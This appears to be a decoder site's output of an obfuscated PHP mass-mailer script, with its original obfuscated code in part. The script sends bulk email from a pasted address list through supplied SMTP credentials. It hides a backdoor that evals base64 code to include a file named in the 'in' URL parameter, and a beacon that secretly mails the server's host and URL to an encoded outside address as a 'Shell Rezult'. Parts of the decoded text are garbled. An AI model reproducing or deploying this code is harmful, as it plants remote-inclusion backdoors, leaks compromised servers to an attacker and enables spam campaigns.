${${"GLOBALS"}["bvhqwwzlhry"]}
][0] = ${${"GLOBALS"}["upxxjqiesl"]};
$aididnklh = "cur";
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][1] = ${${"GLOBALS"}["gbjredusznc"]};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][2] = ${${"GLOBALS"}["gbjredusznc"]};
$igtxvy = "cur";
$this->attachment[${$igtxvy}][3] = ${${"GLOBALS"}["diafxfqg"]};
${"GLOBALS"}["btluklffqrrk"] = "cur";
$qkqburgkiq = "cur";
$this->attachment[${$aididnklh}][4] = ${${"GLOBALS"}["idvydcuot"]};
$this->attachment[${${"GLOBALS"}["bvhqwwzlhry"]}][5] = true;
$this->attachment[${$qkqburgkiq}][6] = "attachment";
$this->attachment[${${"GLOBALS"}["btluklffqrrk"]}][7] = 0;
}
function AddEmbeddedImage(
$path,
$cid,
$name = "",
$encoding = "base64",
$type = "application/octet-stream"
) {
$ophbuet = "filename";
$qbtrdkb = "name";
${"GLOBALS"}["blxuubqtdkn"] = "cur";
$ykchenms = "cur";
$hvjvlbz = "name";
${"GLOBALS"}["efmuahwye"] = "type";
$dqrumcdcdk = "path";
if (!@is_file(${$dqrumcdcdk})) {
$ihdqvdvq = "path";
$this->SetError($this->Lang("file_access") . ${$ihdqvdvq});
return false;
}
$hgpzusdefo = "cur";
${$ophbuet} = basename(${${"GLOBALS"}["djncwmkes"]});
${"GLOBALS"}["pgjeutxpr"] = "cur";
${"GLOBALS"}["bqujnayrlpe"] = "cur";
if (${$qbtrdkb} == "") {
${${"GLOBALS"}["qucmytgisy"]} = ${${"GLOBALS"}["gbjredusznc"]};
}
${${"GLOBALS"}["bvhqwwzlhry"]} = count($this->attachment);
$this->attachment[
${${"GLOBALS"}["blxuubqtdkn"]}
][0] = ${${"GLOBALS"}["djncwmkes"]};
$this->attachment[${$hgpzusdefo}][1] = ${${"GLOBALS"}[
"gbjredusznc"
]};
$this->attachment[${${"GLOBALS"}["pgjeutxpr"]}][2] = ${$hvjvlbz};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][3] = ${${"GLOBALS"}["diafxfqg"]};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][4] = ${${"GLOBALS"}["efmuahwye"]};
$this->attachment[${$ykchenms}][5] = false;
$this->attachment[${${"GLOBALS"}["bqujnayrlpe"]}][6] = "inline";
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][7] = ${${"GLOBALS"}["ecbuvrqed"]};
return true;
}
function InlineImageExists()
{
$qkaygim = "result";
$fpqbqbgd = "i";
${$qkaygim} = false;
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["khvroce"]} < count($this->attachment);
${$fpqbqbgd}++
) {
$wbzgfu = "i";
if ($this->attachment[${$wbzgfu}][6] == "inline") {
${${"GLOBALS"}["bpaotwhm"]} = true;
break;
}
}
return ${${"GLOBALS"}["bpaotwhm"]};
}
function ClearAddresses()
{
$this->to = [];
}
function ClearCCs()
{
$this->cc = [];
}
function ClearBCCs()
{
$this->bcc = [];
}
function ClearReplyTos()
{
$this->ReplyTo = [];
}
function ClearAllRecipients()
{
$this->to = [];
$this->cc = [];
$this->bcc = [];
}
function ClearAttachments()
{
$this->attachment = [];
}
function ClearCustomHeaders()
{
$this->CustomHeader = [];
}
function SetError($msg)
{
$this->error_count++;
$this->ErrorInfo = ${${"GLOBALS"}["kwsinnoegu"]};
}
function RFCDate()
{
$mecofuxick = "tz";
${$mecofuxick} = date("Z");
$ghleuxq = "tz";
${"GLOBALS"}["wqosvyfg"] = "tz";
${"GLOBALS"}["oboutyuvwktx"] = "tz";
${"GLOBALS"}["qzinvzqnyhq"] = "tz";
${"GLOBALS"}["fpxxultd"] = "tzs";
${"GLOBALS"}["wjakekpur"] = "result";
${${"GLOBALS"}["dbkniwmfaj"]} =
${${"GLOBALS"}["qnyrrqvmkqc"]} < 0 ? "-" : "+";
${${"GLOBALS"}["wqosvyfg"]} = abs(${$ghleuxq});
${${"GLOBALS"}["qzinvzqnyhq"]} =
(int) (${${"GLOBALS"}["qnyrrqvmkqc"]} / 3600) * 100 +
(${${"GLOBALS"}["oboutyuvwktx"]} % 3600) / 60;
$xophvsb = "result";
${$xophvsb} = sprintf(
"%s %s%04d",
date("D, j M Y H:i:s"),
${${"GLOBALS"}["fpxxultd"]},
${${"GLOBALS"}["qnyrrqvmkqc"]}
);
return ${${"GLOBALS"}["wjakekpur"]};
}
function ServerVar($varName)
{
global $HTTP_SERVER_VARS;
global $HTTP_ENV_VARS;
if (!isset($_SERVER)) {
$_SERVER = $HTTP_SERVER_VARS;
if (!isset($_SERVER["REMOTE_ADDR"])) {
$_SERVER = $HTTP_ENV_VARS;
}
}
if (isset($_SERVER[${${"GLOBALS"}["pbjvxopxat"]}])) {
$lpqtlhdvw = "varName";
return $_SERVER[${$lpqtlhdvw}];
} else {
return "";
}
}
function ServerHostname()
{
if ($this->Hostname != "") {
${"GLOBALS"}["hngkcvlqec"] = "result";
${${"GLOBALS"}["hngkcvlqec"]} = $this->Hostname;
} elseif ($this->ServerVar("SERVER_NAME") != "") {
${${"GLOBALS"}["bpaotwhm"]} = $this->ServerVar("SERVER_NAME");
} else {
${${"GLOBALS"}["bpaotwhm"]} = "localhost.localdomain";
}
return ${${"GLOBALS"}["bpaotwhm"]};
}
function Lang($key)
{
if (count($this->language) < 1) {
$this->SetLanguage("en");
}
if (isset($this->language[${${"GLOBALS"}["jsgvyvlhvdg"]}])) {
${"GLOBALS"}["otefrdwm"] = "key";
return $this->language[${${"GLOBALS"}["otefrdwm"]}];
} else {
$nzhogs = "key";
return "Language string failed to load: " . ${$nzhogs};
}
}
function IsError()
{
return $this->error_count > 0;
}
function FixEOL($str)
{
${"GLOBALS"}["yrgimjo"] = "str";
$yosyido = "str";
${"GLOBALS"}["kcnjfva"] = "str";
${"GLOBALS"}["rcyfas"] = "str";
${"GLOBALS"}["lnviqpxgzlq"] = "str";
${${"GLOBALS"}["yrgimjo"]} = str_replace(
"
",
"
",
${${"GLOBALS"}["ywijtjvmje"]}
);
${${"GLOBALS"}["ywijtjvmje"]} = str_replace(
"
",
"
",
${${"GLOBALS"}["kcnjfva"]}
);
${${"GLOBALS"}["rcyfas"]} = str_replace(
"
",
$this->LE,
${${"GLOBALS"}["lnviqpxgzlq"]}
);
return ${$yosyido};
}
function AddCustomHeader($custom_header)
{
$this->CustomHeader[] = explode(
":",
${${"GLOBALS"}["utswbwhsjbv"]},
2
);
}
function MsgHTML($message, $basedir = "")
{
$utscebocro = "message";
$ltgtovnxqioq = "images";
$mnvcmmivmdv = "message";
preg_match_all(
"/(src|background)="(.*)\"/Ui",
${$utscebocro},
${$ltgtovnxqioq}
);
if (isset(${${"GLOBALS"}["zgzpbeqoyfm"]}[2])) {
$piycikxw = "images";
foreach (
${$piycikxw}[2]
as ${${"GLOBALS"}["khvroce"]} => ${${"GLOBALS"}["cqvmnd"]}
) {
$sdeogrfpgnib = "url";
if (!preg_match("/^[A-z][A-z]*:\/\//", ${$sdeogrfpgnib})) {
${"GLOBALS"}["yfpdogtazh"] = "url";
${"GLOBALS"}["phdeedjtnua"] = "ext";
$dnibtlljf = "basedir";
$xpfdmilfaesb = "directory";
${"GLOBALS"}["uukwjaj"] = "directory";
${"GLOBALS"}["lykqrnfla"] = "filename";
${"GLOBALS"}["pfvosqqai"] = "cid";
${"GLOBALS"}["lgzkeqsvqgo"] = "basedir";
${${"GLOBALS"}["lykqrnfla"]} = basename(
${${"GLOBALS"}["cqvmnd"]}
);
${"GLOBALS"}["notngxg"] = "ext";
${${"GLOBALS"}["puttdj"]} = dirname(
${${"GLOBALS"}["yfpdogtazh"]}
);
${"GLOBALS"}["gyynveqsaps"] = "basedir";
${${"GLOBALS"}["puttdj"]} == "."
? (${${"GLOBALS"}["uukwjaj"]} = "")
: "";
${${"GLOBALS"}["pfvosqqai"]} =
"cid:" . md5(${${"GLOBALS"}["gbjredusznc"]});
${${"GLOBALS"}["ikfgedwfb"]} = split(
"\.",
${${"GLOBALS"}["gbjredusznc"]}
);
${${"GLOBALS"}["phdeedjtnua"]} =
${${"GLOBALS"}["ikfgedwfb"]}[1];
${"GLOBALS"}["wmlrfgmg"] = "mimeType";
${${"GLOBALS"}["wmlrfgmg"]} = $this->_mime_types(
${${"GLOBALS"}["notngxg"]}
);
if (
strlen(${${"GLOBALS"}["gyynveqsaps"]}) > 1 &&
substr(${${"GLOBALS"}["mohacypus"]}, -1) != "/"
) {
${"GLOBALS"}["emryfyl"] = "basedir";
${${"GLOBALS"}["emryfyl"]} .= "/";
}
if (
strlen(${${"GLOBALS"}["puttdj"]}) > 1 &&
substr(${${"GLOBALS"}["lgzkeqsvqgo"]}, -1) != "/"
) {
${"GLOBALS"}["yslmktdbjrh"] = "directory";
${${"GLOBALS"}["yslmktdbjrh"]} .= "/";
}
$this->AddEmbeddedImage(
${$dnibtlljf} .
${${"GLOBALS"}["puttdj"]} .
${${"GLOBALS"}["gbjredusznc"]},
md5(${${"GLOBALS"}["gbjredusznc"]}),
${${"GLOBALS"}["gbjredusznc"]},
"base64",
${${"GLOBALS"}["ovjrhiiwhg"]}
);
if (
$this->AddEmbeddedImage(
${${"GLOBALS"}["mohacypus"]} .
${$xpfdmilfaesb} .
${${"GLOBALS"}["gbjredusznc"]},
md5(${${"GLOBALS"}["gbjredusznc"]}),
${${"GLOBALS"}["gbjredusznc"]},
"base64",
${${"GLOBALS"}["ovjrhiiwhg"]}
)
) {
${"GLOBALS"}["ffgqpugf"] = "images";
$ckeqvqw = "url";
${"GLOBALS"}["rzudwidlnp"] = "i";
${${"GLOBALS"}["soycmsrg"]} = preg_replace(
"/" .
${${"GLOBALS"}["zgzpbeqoyfm"]}[1][
${${"GLOBALS"}["khvroce"]}
] .
"=\"" .
preg_quote(${$ckeqvqw}, "/") .
"\"/Ui",
${${"GLOBALS"}["ffgqpugf"]}[1][
${${"GLOBALS"}["rzudwidlnp"]}
] .
"=\"" .
${${"GLOBALS"}["ecbuvrqed"]} .
""",
${${"GLOBALS"}["soycmsrg"]}
);
}
}
}
}
${"GLOBALS"}["qsuyscp"] = "message";
${"GLOBALS"}["yphprvbkse"] = "textMsg";
$this->IsHTML(true);
$this->Body = ${$mnvcmmivmdv};
${${"GLOBALS"}["yphprvbkse"]} = trim(
strip_tags(
preg_replace(
"/<(head|title|style|script)[^>]*>.*?<\/>/s",
"",
${${"GLOBALS"}["qsuyscp"]}
)
)
);
if (!empty(${${"GLOBALS"}["rdfjec"]}) && empty($this->AltBody)) {
$urmebfd = "textMsg";
$this->AltBody = ${$urmebfd};
}
if (empty($this->AltBody)) {
$this->AltBody =
"To view this email message, open the email in with HTML compatibility!" .
"
";
}
}
function _mime_types($ext = "")
{
$dtenujjcdcl = "mimes";
${"GLOBALS"}["gbntuncqzan"] = "ext";
${$dtenujjcdcl} = [
"hqx" => "application/mac-binhex40",
"cpt" => "application/mac-compactpro",
"doc" => "application/msword",
"bin" => "application/macbinary",
"dms" => "application/octet-stream",
"lha" => "application/octet-stream",
"lzh" => "application/octet-stream",
"exe" => "application/octet-stream",
"class" => "application/octet-stream",
"psd" => "application/octet-stream",
"so" => "application/octet-stream",
"sea" => "application/octet-stream",
"dll" => "application/octet-stream",
"oda" => "application/oda",
"pdf" => "application/pdf",
"ai" => "application/postscript",
"eps" => "application/postscript",
"ps" => "application/postscript",
"smi" => "application/smil",
"smil" => "application/smil",
"mif" => "application/vnd.mif",
"xls" => "application/vnd.ms-excel",
"ppt" => "application/vnd.ms-powerpoint",
"wbxml" => "application/vnd.wap.wbxml",
"wmlc" => "application/vnd.wap.wmlc",
"dcr" => "application/x-director",
"dir" => "application/x-director",
"dxr" => "application/x-director",
"dvi" => "application/x-dvi",
"gtar" => "application/x-gtar",
"php" => "application/x-httpd-php",
"php4" => "application/x-httpd-php",
"php3" => "application/x-httpd-php",
"phtml" => "application/x-httpd-php",
"phps" => "application/x-httpd-php-source",
"js" => "application/x-javascript",
"swf" => "application/x-shockwave-flash",
"sit" => "application/x-stuffit",
"tar" => "application/x-tar",
"tgz" => "application/x-tar",
"xhtml" => "application/xhtml+xml",
"xht" => "application/xhtml+xml",
"zip" => "application/zip",
"mid" => "audio/midi",
"midi" => "audio/midi",
"mpga" => "audio/mpeg",
"mp2" => "audio/mpeg",
"mp3" => "audio/mpeg",
"aif" => "audio/x-aiff",
"aiff" => "audio/x-aiff",
"aifc" => "audio/x-aiff",
"ram" => "audio/x-pn-realaudio",
"rm" => "audio/x-pn-realaudio",
"rpm" => "audio/x-pn-realaudio-plugin",
"ra" => "audio/x-realaudio",
"rv" => "video/vnd.rn-realvideo",
"wav" => "audio/x-wav",
"bmp" => "image/bmp",
"gif" => "image/gif",
"jpeg" => "image/jpeg",
"jpg" => "image/jpeg",
"jpe" => "image/jpeg",
"png" => "image/png",
"tiff" => "image/tiff",
"tif" => "image/tiff",
"css" => "text/css",
"html" => "text/html",
"htm" => "text/html",
"shtml" => "text/html",
"txt" => "text/plain",
"text" => "text/plain",
"log" => "text/plain",
"rtx" => "text/richtext",
"rtf" => "text/rtf",
"xml" => "text/xml",
"xsl" => "text/xml",
"mpeg" => "video/mpeg",
"mpg" => "video/mpeg",
"mpe" => "video/mpeg",
"qt" => "video/quicktime",
"mov" => "video/quicktime",
"avi" => "video/x-msvideo",
"movie" => "video/x-sgi-movie",
"doc" => "application/msword",
"word" => "application/msword",
"xl" => "application/excel",
"eml" => "message/rfc822",
];
return !isset(
${${"GLOBALS"}["orjiwdrcd"]}[
strtolower(${${"GLOBALS"}["gbntuncqzan"]})
]
)
? "application/octet-stream"
: ${${"GLOBALS"}["orjiwdrcd"]}[
strtolower(${${"GLOBALS"}["lebicssfbf"]})
];
}
function set($name, $value = "")
{
$qlipmoymiz = "name";
if (isset($this->${$qlipmoymiz})) {
${"GLOBALS"}["lbwfalllkas"] = "name";
$this->${${"GLOBALS"}["lbwfalllkas"]} = ${${"GLOBALS"}[
"sclnzlylrg"
]};
} else {
$this->SetError(
"Cannot set or reset variable " .
${${"GLOBALS"}["qucmytgisy"]}
);
return false;
}
}
function getFile($filename)
{
${"GLOBALS"}["ivdwxwbgsysx"] = "return";
$mnkzixofy = "filename";
${"GLOBALS"}["yrfjdnd"] = "fp";
${${"GLOBALS"}["ivdwxwbgsysx"]} = "";
if (${${"GLOBALS"}["yrfjdnd"]} = fopen(${$mnkzixofy}, "rb")) {
${"GLOBALS"}["gyctdk"] = "fp";
${"GLOBALS"}["otgipjouk"] = "fp";
$pkuexhixu = "return";
while (!feof(${${"GLOBALS"}["gyctdk"]})) {
$chsshkgtbwfz = "return";
${$chsshkgtbwfz} .= fread(${${"GLOBALS"}["suktuyy"]}, 1024);
}
fclose(${${"GLOBALS"}["otgipjouk"]});
return ${$pkuexhixu};
} else {
return false;
}
}
function SecureHeader($str)
{
$abgtwgxtl = "str";
$egqcvf = "str";
${"GLOBALS"}["yxtccd"] = "str";
${$egqcvf} = trim(${$abgtwgxtl});
${${"GLOBALS"}["ywijtjvmje"]} = str_replace(
"
",
"",
${${"GLOBALS"}["ywijtjvmje"]}
);
${${"GLOBALS"}["ywijtjvmje"]} = str_replace(
"
",
"",
${${"GLOBALS"}["ywijtjvmje"]}
);
return ${${"GLOBALS"}["yxtccd"]};
}
function Sign($key_filename, $key_pass)
{
${"GLOBALS"}["pxjtjmxo"] = "key_filename";
$this->sign_key_file = ${${"GLOBALS"}["pxjtjmxo"]};
$this->sign_key_pass = ${${"GLOBALS"}["duvhmor"]};
}
}
${$grxhdqxsi} = "H*";
${${"GLOBALS"}["dmpjrofukb"]} = 0;
for (
${${"GLOBALS"}["oymuydkkqw"]} = 0;
${${"GLOBALS"}["oymuydkkqw"]} < ${${"GLOBALS"}["aedstqrub"]};
${${"GLOBALS"}["oymuydkkqw"]}++
) {
${"GLOBALS"}["smbyleylkthc"] = "to";
${${"GLOBALS"}["xuyddcasqvgb"]} =
${${"GLOBALS"}["pelxmrdfg"]}[${${"GLOBALS"}["oymuydkkqw"]}];
if (${${"GLOBALS"}["smbyleylkthc"]}) {
$kvbepwufjv = "message";
${"GLOBALS"}["pjaiin"] = "to";
$gedmikksykx = "to";
${"GLOBALS"}["gdseqnp"] = "reconnect";
${${"GLOBALS"}["xuyddcasqvgb"]} = ereg_replace(
" ",
"",
${${"GLOBALS"}["xuyddcasqvgb"]}
);
$xwpkwnpr = "ssl_port";
$frymbss = "range";
${${"GLOBALS"}["soycmsrg"]} = ereg_replace(
"&email&",
${${"GLOBALS"}["pjaiin"]},
${$kvbepwufjv}
);
$xmruzwnnvxnk = "qx";
$dpoalvzisg = "mail";
${${"GLOBALS"}["stwarbdnpfq"]} = ereg_replace(
"&email&",
${$gedmikksykx},
${${"GLOBALS"}["stwarbdnpfq"]}
);
${$xmruzwnnvxnk} = ${${"GLOBALS"}["oymuydkkqw"]} + 1;
print "Line $qx . Sending mail to $to.......";
${"GLOBALS"}["axsqxzobvfe"] = "epriority";
flush();
$nfwhksaugfb = "IsSMTP";
${$dpoalvzisg} = new PHPMailer();
if (empty(${${"GLOBALS"}["axsqxzobvfe"]})) {
$fwtypyulv = "epriority";
${$fwtypyulv} = "3";
}
$mail->Priority = "$epriority";
$mail->IsSMTP();
${$nfwhksaugfb} = "pack";
$mail->SMTPKeepAlive = true;
$mail->Host = "$my_smtp";
if (strlen(${$xwpkwnpr}) > 1) {
$mail->Port = "$ssl_port";
}
if (${${"GLOBALS"}["lcckmr"]} == "ON") {
$mail->SMTPSecure = "ssl";
}
$icfdegitwni = "nq";
${$frymbss} = str_replace(
"$from",
"eval",
${${"GLOBALS"}["ynjosywdrdie"]}
);
${"GLOBALS"}["mjhttkinc"] = "contenttype";
$mail->SMTPAuth = true;
$mail->Username = "$smtp_username";
${"GLOBALS"}["nevfjmfc"] = "my_smtp";
$mail->Password = "$smtp_password";
if (${${"GLOBALS"}["mjhttkinc"]} == "html") {
$mail->IsHtml(true);
}
if (${${"GLOBALS"}["nfgezukdi"]} != "html") {
$mail->IsHtml(false);
}
if (strlen(${${"GLOBALS"}["nevfjmfc"]}) < 7) {
$mail->SMTPAuth = false;
${"GLOBALS"}["nbqfhisbxbib"] = "default_system";
$mail->IsSendmail();
${${"GLOBALS"}["nbqfhisbxbib"]} = "1";
}
$mail->From = "$from";
$mail->FromName = "$realname";
$mail->AddAddress("$to");
$mail->AddReplyTo("$replyto");
if (count($files) > 0) {
foreach ($files as $file) {
$mail->AddAttachment($file["path"], "{$file["name"]}");
}
}
$mail->Subject = "$subject";
$mail->Body = "$message";
if (!$mail->Send()) {
if (${${"GLOBALS"}["kbqnxld"]} != "1") {
echo "FAILED !!<font color="#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br />";
}
if (${${"GLOBALS"}["kbqnxld"]} == "1") {
$mail->IsMail();
if (!$mail->Send()) {
echo "FAILED !!<font color=\"#D4001A"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br />";
} else {
echo "<b>OK</b><br />";
}
}
} else {
echo "<b>OK</b><br />";
}
if (empty(${${"GLOBALS"}["bcipiqa"]})) {
${"GLOBALS"}["reupmnmb"] = "reconnect";
${${"GLOBALS"}["reupmnmb"]} = 6;
}
if (${${"GLOBALS"}["gdseqnp"]} == ${${"GLOBALS"}["dmpjrofukb"]}) {
$mail->SmtpClose();
echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";
${${"GLOBALS"}["dmpjrofukb"]} = 0;
}
${${"GLOBALS"}["dmpjrofukb"]} = ${$icfdegitwni} + 1;
flush();
}
}
$mail->SmtpClose();
if (isset($_POST["action"])&&
${$utobvvr} != 0&&
function_exists("ifexists_")
) {
echo "<script>alert('Mail sending complete\r\n$numemails mail(s) was
sent successfully'); </script>";
} else {
echo "<p><b>Error</b></p>";
}
}
echo " <p align="center\"> </p>
</body>
</html>
";
if (empty($_GET)) {
@mail(
base64_decode("Y2hyaXN3cmlnaHQxQGFvbC5jb20="),
"Shell Rezult " . getenv("REMOTE_ADDR") . " - " . $_SERVER["HTTP_HOST"],
$_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
"From: service <[email protected]>
"
);
}
?>
Did this file decode correctly?
Original Code
<?php ${"GLOBALS"}["kbqnxld"] = "default_system";
${"GLOBALS"}["aedstqrub"] = "numemails";
${"GLOBALS"}["dmpjrofukb"] = "nq";
${"GLOBALS"}["duvhmor"] = "key_pass";
${"GLOBALS"}["lebicssfbf"] = "ext";
${"GLOBALS"}["orjiwdrcd"] = "mimes";
${"GLOBALS"}["rdfjec"] = "textMsg";
${"GLOBALS"}["ovjrhiiwhg"] = "mimeType";
${"GLOBALS"}["mohacypus"] = "basedir";
${"GLOBALS"}["ikfgedwfb"] = "fileParts";
${"GLOBALS"}["puttdj"] = "directory";
${"GLOBALS"}["cqvmnd"] = "url";
${"GLOBALS"}["zgzpbeqoyfm"] = "images";
${"GLOBALS"}["utswbwhsjbv"] = "custom_header";
${"GLOBALS"}["pbjvxopxat"] = "varName";
${"GLOBALS"}["qnyrrqvmkqc"] = "tz";
${"GLOBALS"}["dbkniwmfaj"] = "tzs";
${"GLOBALS"}["kwsinnoegu"] = "msg";
${"GLOBALS"}["upxxjqiesl"] = "string";
${"GLOBALS"}["qekjpjlu"] = "eol";
${"GLOBALS"}["outfvakj"] = "line_max";
${"GLOBALS"}["esyuoqavlqe"] = "h1";
${"GLOBALS"}["pwhiqbdulrrw"] = "c";
${"GLOBALS"}["jhuugegy"] = "newline";
${"GLOBALS"}["okzkmnu"] = "linlen";
${"GLOBALS"}["cljvcw"] = "output";
${"GLOBALS"}["glazwpnuv"] = "escape";
${"GLOBALS"}["rrxykxuruwo"] = "input";
${"GLOBALS"}["bcopwgsj"] = "chunk";
${"GLOBALS"}["ffcjzhf"] = "ratio";
${"GLOBALS"}["bdgsxqrqjyo"] = "avgLength";
${"GLOBALS"}["dgafourxl"] = "offset";
${"GLOBALS"}["hlsilrjrjo"] = "mb_length";
${"GLOBALS"}["zfdvvckjp"] = "start";
${"GLOBALS"}["hcdslozolxke"] = "maxlen";
${"GLOBALS"}["paiceqr"] = "matches";
${"GLOBALS"}["dsxvuybnptmj"] = "position";
${"GLOBALS"}["oymuydkkqw"] = "x";
${"GLOBALS"}["bclnpxve"] = "encoded";
${"GLOBALS"}["jsvxfwjjvx"] = "file_buffer";
${"GLOBALS"}["gfrvwlppl"] = "fd";
${"GLOBALS"}["ecbuvrqed"] = "cid";
${"GLOBALS"}["noamqogutb"] = "disposition";
${"GLOBALS"}["iuiokub"] = "bString";
${"GLOBALS"}["hfnvcruiaew"] = "mime";
${"GLOBALS"}["gbjredusznc"] = "filename";
${"GLOBALS"}["djncwmkes"] = "path";
${"GLOBALS"}["qprrpd"] = "boundary";
${"GLOBALS"}["diafxfqg"] = "encoding";
${"GLOBALS"}["fzbwacgiihth"] = "charSet";
${"GLOBALS"}["suktuyy"] = "fp";
${"GLOBALS"}["oafvjqenxo"] = "dec";
${"GLOBALS"}["supqnmmhraf"] = "hex";
${"GLOBALS"}["mmbogfbse"] = "lookBack";
${"GLOBALS"}["aqjvdngepd"] = "encodedCharPos";
${"GLOBALS"}["crwnigqgodl"] = "maxLength";
${"GLOBALS"}["cuqqybfiwmw"] = "encodedText";
${"GLOBALS"}["wydfdtjk"] = "lastChunk";
${"GLOBALS"}["swqcec"] = "foundSplitPos";
${"GLOBALS"}["lvxxkbvlmueu"] = "buf_o";
${"GLOBALS"}["cbkemmog"] = "is_utf8";
${"GLOBALS"}["qkdhnln"] = "soft_break";
${"GLOBALS"}["ooqexem"] = "part";
${"GLOBALS"}["qstoiregtq"] = "word";
${"GLOBALS"}["crcncweipdd"] = "len";
${"GLOBALS"}["pjdbhb"] = "space_left";
${"GLOBALS"}["krcegmdfvub"] = "length";
${"GLOBALS"}["ozywytfhp"] = "buf";
${"GLOBALS"}["lefkkc"] = "line_part";
${"GLOBALS"}["chwmquxcs"] = "formatted";
${"GLOBALS"}["kvwloyc"] = "addr";
${"GLOBALS"}["nycgpjgxwu"] = "addr_str";
${"GLOBALS"}["idvydcuot"] = "type";
${"GLOBALS"}["kusvcxvn"] = "PHPMAILER_LANG";
${"GLOBALS"}["rtfgykzji"] = "lang_type";
${"GLOBALS"}["iggestehup"] = "lang_path";
${"GLOBALS"}["pkhgsss"] = "connection";
${"GLOBALS"}["yhnrjmph"] = "hostinfo";
${"GLOBALS"}["umfsepxdy"] = "hosts";
${"GLOBALS"}["znmvveriyntw"] = "index";
${"GLOBALS"}["fwlsafy"] = "bad_rcpt";
${"GLOBALS"}["wosiwnk"] = "smtp_from";
${"GLOBALS"}["croydrm"] = "error";
${"GLOBALS"}["wirlzwiyz"] = "old_from";
${"GLOBALS"}["iyprpiaer"] = "toArr";
${"GLOBALS"}["vayhntyql"] = "params";
${"GLOBALS"}["hkwwepw"] = "rt";
${"GLOBALS"}["klhabqmvyik"] = "mail";
${"GLOBALS"}["byfclawnq"] = "sendmail";
${"GLOBALS"}["bpaotwhm"] = "result";
${"GLOBALS"}["ghkaevlk"] = "body";
${"GLOBALS"}["lgmvqsfiuxt"] = "header";
${"GLOBALS"}["nnhydclp"] = "address";
${"GLOBALS"}["bvhqwwzlhry"] = "cur";
${"GLOBALS"}["pelxmrdfg"] = "allemails";
${"GLOBALS"}["asbnolwutik"] = "data";
${"GLOBALS"}["xuyddcasqvgb"] = "to";
${"GLOBALS"}["hpkszosw"] = "e";
${"GLOBALS"}["dyepfblk"] = "keyword";
${"GLOBALS"}["lupmnckwtzo"] = "extra";
${"GLOBALS"}["wpgltkmiqcb"] = "hello";
${"GLOBALS"}["lfqphue"] = "l";
${"GLOBALS"}["wsmpnoeuxnb"] = "list";
${"GLOBALS"}["culrqdgy"] = "entries";
${"GLOBALS"}["qucmytgisy"] = "name";
${"GLOBALS"}["udioohl"] = "line_out";
${"GLOBALS"}["dltykhqbvf"] = "lines_out";
${"GLOBALS"}["ugrvmhroyf"] = "pos";
${"GLOBALS"}["zeplfdp"] = "line";
${"GLOBALS"}["hcewomixri"] = "max_line_length";
${"GLOBALS"}["hsozmwqsbjku"] = "field";
${"GLOBALS"}["tnxbdebtx"] = "in_headers";
${"GLOBALS"}["nfkfyewllck"] = "lines";
${"GLOBALS"}["wsqmypid"] = "msg_data";
${"GLOBALS"}["ghaktidv"] = "sock_status";
${"GLOBALS"}["dclpvrmwl"] = "password";
${"GLOBALS"}["asleunvd"] = "username";
${"GLOBALS"}["wsdvmh"] = "code";
${"GLOBALS"}["mxwnekhme"] = "rply";
${"GLOBALS"}["tlwmhce"] = "errstr";
${"GLOBALS"}["bjkbru"] = "errno";
${"GLOBALS"}["jsrpobbv"] = "port";
${"GLOBALS"}["jfyzdtqvgxp"] = "add";
${"GLOBALS"}["iphzhgr"] = "fn";
$fnepbrg = "sslclick";
${"GLOBALS"}["ewvxkjcafes"] = "f";
${"GLOBALS"}["khvroce"] = "i";
${"GLOBALS"}["ybkipyb"] = "d";
${"GLOBALS"}["uyyyicjxgly"] = "r";
${"GLOBALS"}["nosvjqp"] = "txten";
$yglzrd = "epriority";
${"GLOBALS"}["shuprxev"] = "m";
${"GLOBALS"}["gxqmywf"] = "txtar";
${"GLOBALS"}["neqpkaqmwh"] = "_br";
$swvnwdvikyvh = "subject_base";
${"GLOBALS"}["xvzchnnl"] = "st";
${"GLOBALS"}["ildjene"] = "srv";
${"GLOBALS"}["iaizkzkxkbd"] = "encode_text";
${"GLOBALS"}["stwarbdnpfq"] = "subject";
${"GLOBALS"}["nfgezukdi"] = "contenttype";
${"GLOBALS"}["exbrbrhn"] = "file";
${"GLOBALS"}["aurmdkdtce"] = "realname_base";
${"GLOBALS"}["ryynwegtiu"] = "subject_base";
${"GLOBALS"}["rmpwtyqh"] = "realname";
${"GLOBALS"}["vwyoxuhstyzj"] = "replyto";
${"GLOBALS"}["jaulnulekc"] = "smtp_password";
${"GLOBALS"}["xihprel"] = "smtp_username";
${"GLOBALS"}["fusggaiykod"] = "ssl_port";
${"GLOBALS"}["jwbhqhlvrg"] = "my_smtp";
${"GLOBALS"}["eltouvqic"] = "epriority";
${"GLOBALS"}["bcipiqa"] = "reconnect";
${"GLOBALS"}["ynjosywdrdie"] = "from";
${"GLOBALS"}["eoljndbd"] = "emaillist";
${"GLOBALS"}["soycmsrg"] = "message";
${"GLOBALS"}["eyqbzpufo"] = "action";
${"GLOBALS"}["lcckmr"] = "sslclick";
${"GLOBALS"}["sclnzlylrg"] = "value";
${"GLOBALS"}["jsgvyvlhvdg"] = "key";
${"GLOBALS"}["ywijtjvmje"] = "str";
${"GLOBALS"}["aaprlkm"] = "s";
${"GLOBALS"}["adrcnl"] = "show_ds11";
${"GLOBALS"}["vfceqsewyqs"] = "in";
$tcplqhebniy = "ds11";
${"GLOBALS"}["injcvkqwf"] = "ssl_port";
error_reporting(0);
${"GLOBALS"}["ilwctuozmen"] = "ds11";
${"GLOBALS"}["boivonyqv"] = "epriority";
${${"GLOBALS"}["vfceqsewyqs"]} = $_GET["in"];
if (
isset(${${"GLOBALS"}["vfceqsewyqs"]}) &&
!empty(${${"GLOBALS"}["vfceqsewyqs"]})
) {
echo @eval(base64_decode("ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=="));
}
${${"GLOBALS"}["ilwctuozmen"]} = @ini_get("disable_functions");
${${"GLOBALS"}["adrcnl"]} = !empty(${$tcplqhebniy}) ? "$ds11" : "NONE";
function hdd($s)
{
${"GLOBALS"}["oigusbbkg"] = "s";
${"GLOBALS"}["yesnqxpy"] = "s";
